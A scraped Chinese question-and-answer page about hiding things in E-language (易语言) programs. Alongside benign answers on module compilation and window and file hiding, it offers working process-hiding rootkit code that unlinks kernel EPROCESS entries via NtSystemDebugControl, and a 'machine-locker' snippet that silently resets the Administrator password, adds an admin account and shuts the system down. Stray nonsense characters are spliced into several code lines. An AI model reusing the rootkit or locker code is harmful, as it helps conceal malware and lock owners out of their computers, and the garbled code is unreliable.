易语言源码隐藏
1. 易语言源码部分隐藏起来了怎么显示
在图片中左侧选程序选项卡然后找到窗口点前面的加号展开所有窗口列表就看到了
2. 谁有易语言隐藏进程代码
版本 2
.子程序 隐藏进程, 逻辑型, 公开
.参数 pid, 整数型, 可空, 空为隐藏本进程,可输入其它进程PID
.局部变量 eprocess, 长整数型
.局部变量 hand, 整数型
.局部变量 temp, 字节集
.局部变量 fw_, 长整数型
.局部变量 bw_, 长整数型
.局部变量 fw, 字节集
.局部变量 bw, 字节集
.如果 (是否为空 (pid))
hand = OpenProcess (2075311, 0, GetCurrentProcessId ())
eprocess = 取进程EProcess (GetCurrentProcessId ())
CloseHandle (hand)
.否则
eprocess = 取进程EProcess (pid)
.如果结束
.如果真 (eprocess = 0)
返回 (假)
.如果真结束
temp = 读物理内存 (eprocess + 136, 4)
.如果真 (temp = { })
返回 (假)
.如果真结束
fw_ = 取字节集数据 (temp, #长整数型, )
fw = temp
temp = 读物理内存 (eprocess + 140, 4)
.如果真 (temp = { })
返慎握回 (假)
.如果真结束
bw_ = 取字节集数据 (temp, #长整数型, )
bw = temp
.如果真 (写物理内存 (fw_ + 4, bw) = -1)
返回 (假)
.如果真结束
.如果真 (写物理内存 (bw_, fw) = -1)
返回 (假)
.如果真结束
返回 (真)
//读物理内存
.版本 2
.子程序 读物理内存, 字节集
.参数 地址, 长整数型
.参数 长度, 整数型, , <=4096
.局部变量 MEMORY_CHUNKS, 字节集
.局部变量 ret, 字节集
.局部变量 retlen, 整数型
ret = 取空白字节集 (长度)
MEMORY_CHUNKS = 取字节集左边 (到字节集 (地址), 4) + 到字节集 (取指针_字节集 (ret, ret, 0)) + 到字节集 (长度)
NtSystemDebugControl (#SysDbgReadVirtualMemory, MEMORY_CHUNKS, 12, 0, 0, retlen) ' 12为MEMORY_CHUNKS的长度
.如果真 (retlen ≤ 0)
ret = { }
.如吵铅果真结束
返回 (ret)
//写物理内存
.版本 2
.子程序 写物理内存, 整数型
.参数 地址, 长整数型
.参数 数据, 字节集, , <=4096
.局部变量 MEMORY_CHUNKS, 字节集
.局部变量 ret, 整数型
.局部变量 retlen, 整数型
.局部变量 len, 整数型
len = 取字节集长度 (数据)
MEMORY_CHUNKS = 取字节集左边 (到字节集 (地址), 4) + 到字节集 (取指针_字节集 (数据, 数据, 0)) + 到字节集 (len)
NtSystemDebugControl (#SysDbgWriteVirtualMemory, MEMORY_CHUNKS, 12, 0, 0, retlen) ' 12为MEMORY_CHUNKS的长度
.如果真 (retlen ≤ 0)
ret = -1
.如果真结束
返回 (ret)
//取进程EProcess
.版本 2
.子程序 取进程EProcess, 长整数型
.参数 pid, 整数型
.局部变量 ret
.局部变量 信息块, 字节集
.局部变量 retlen
.局部变量 temp, SYSTEM_HANDLE_INFORMATION
.局部变量 信息块指针偏移
.局部变量 number
.局部变量 结果, 长整数型
retlen =升孝好 1
.循环判断首 ()
信息块 = 取空白字节集 (retlen)
ret = ZwQuerySystemInformation (#system_handle_infomation, 信息块, retlen, 0)
.如果 (ret = #STATUS_INFO_LENGTH_MISMATCH)
retlen = retlen × 2
信息块 = 取空白字节集 (retlen)
.否则
跳出循环 ()
.如果结束
.循环判断尾 (ret = #STATUS_INFO_LENGTH_MISMATCH)
信息块指针偏移 = 取指针_字节集 (信息块, 信息块, 0)
RtlMoveMemory3 (number, 信息块指针偏移, 4)
信息块指针偏移 = 信息块指针偏移 + 4
.计次循环首 (number, )
RtlMoveMemory2 (temp, 信息块指针偏移, 16)
.如果真 (pid = temp.ProcessId 且 temp.ObjectTypeNumber = 5)
返回 (十六文本至长整数 (取十六进制文本 (temp.Object)))
.如果真结束
信息块指针偏移 = 信息块指针偏移 + 16
.计次循环尾 ()
返回 (0)
3. 易语言 让指定程序在任务栏上隐藏的源码
.版本 2
.DLL命令 隐藏窗口, 整数型, "user32", "ShowWindow"
.参数 窗口句柄, 整数型
.参数 操作代码, 整数型
.DLL命令 寻找窗口, 整数型, "user32", "FindWindowA"
.参数 类名, 整数型
.参数 标题, 文本型
.版本 2
.子程序 __启动窗口_创建完毕
句柄 = 寻找窗口 (0, “窗口名字”)
.版本 2
.子程序 _按钮1_被单击
.判断开始 (按钮1.标题 = “隐藏游戏窗口”)
隐藏窗口 (句柄, 0)
按钮1.标题 = “显示游戏窗口”
.默认
按钮1.标题 = “显示游戏窗口”
隐藏窗口 (句柄, 1)
按钮1.标题 = “隐藏游戏窗口”
4. 易语言 怎么将源码隐藏起来
同楼上,做模块即可,别人是看不到源码的,只能通过公开的命令来调用。做模块新建模块即可。记住,你要让别人调用的变量、命令、类、常缓行量都要公开。编译出来扰雀哗就是ec,岁皮别人调用就可以用了。
5. 易语言锁机源码
运行("net user Administrator 密码",假,#隐藏窗口) 运行("net user 用户名 密码 /add",假,#隐藏窗口) 运行("net user administrators 同上用户名 /add",假,#隐藏窗口) 这段代码,就OK了 用户名-账号名称,密码-你想设定的密码,同上用户名-第二句代码中的用户名 自己改变一下 以此类推 ,要关机的话,加上: 关闭系统(#关机,真)
6. 这段易语言源码帮我看看有什么问题 谢谢 我想置文件属性为隐藏文件 怎么弄
你好。这段代码可能存在问题有两处、
一是第二个 透明标签1.标题 取文本左边时,要确保取出的是正确的文件路径,决定你取出多少字符就在于你最后面的那个数字12,如果这个没错,请看下面
二是置文件属性()错了。只给出文件名没给出路径,系统找不到这个文件就设置不了属性。。如果上一步是对的,那么这边改成
置文件属性(透明标签1.标题 + “123.dll”,2) 就对了。。
试试吧。。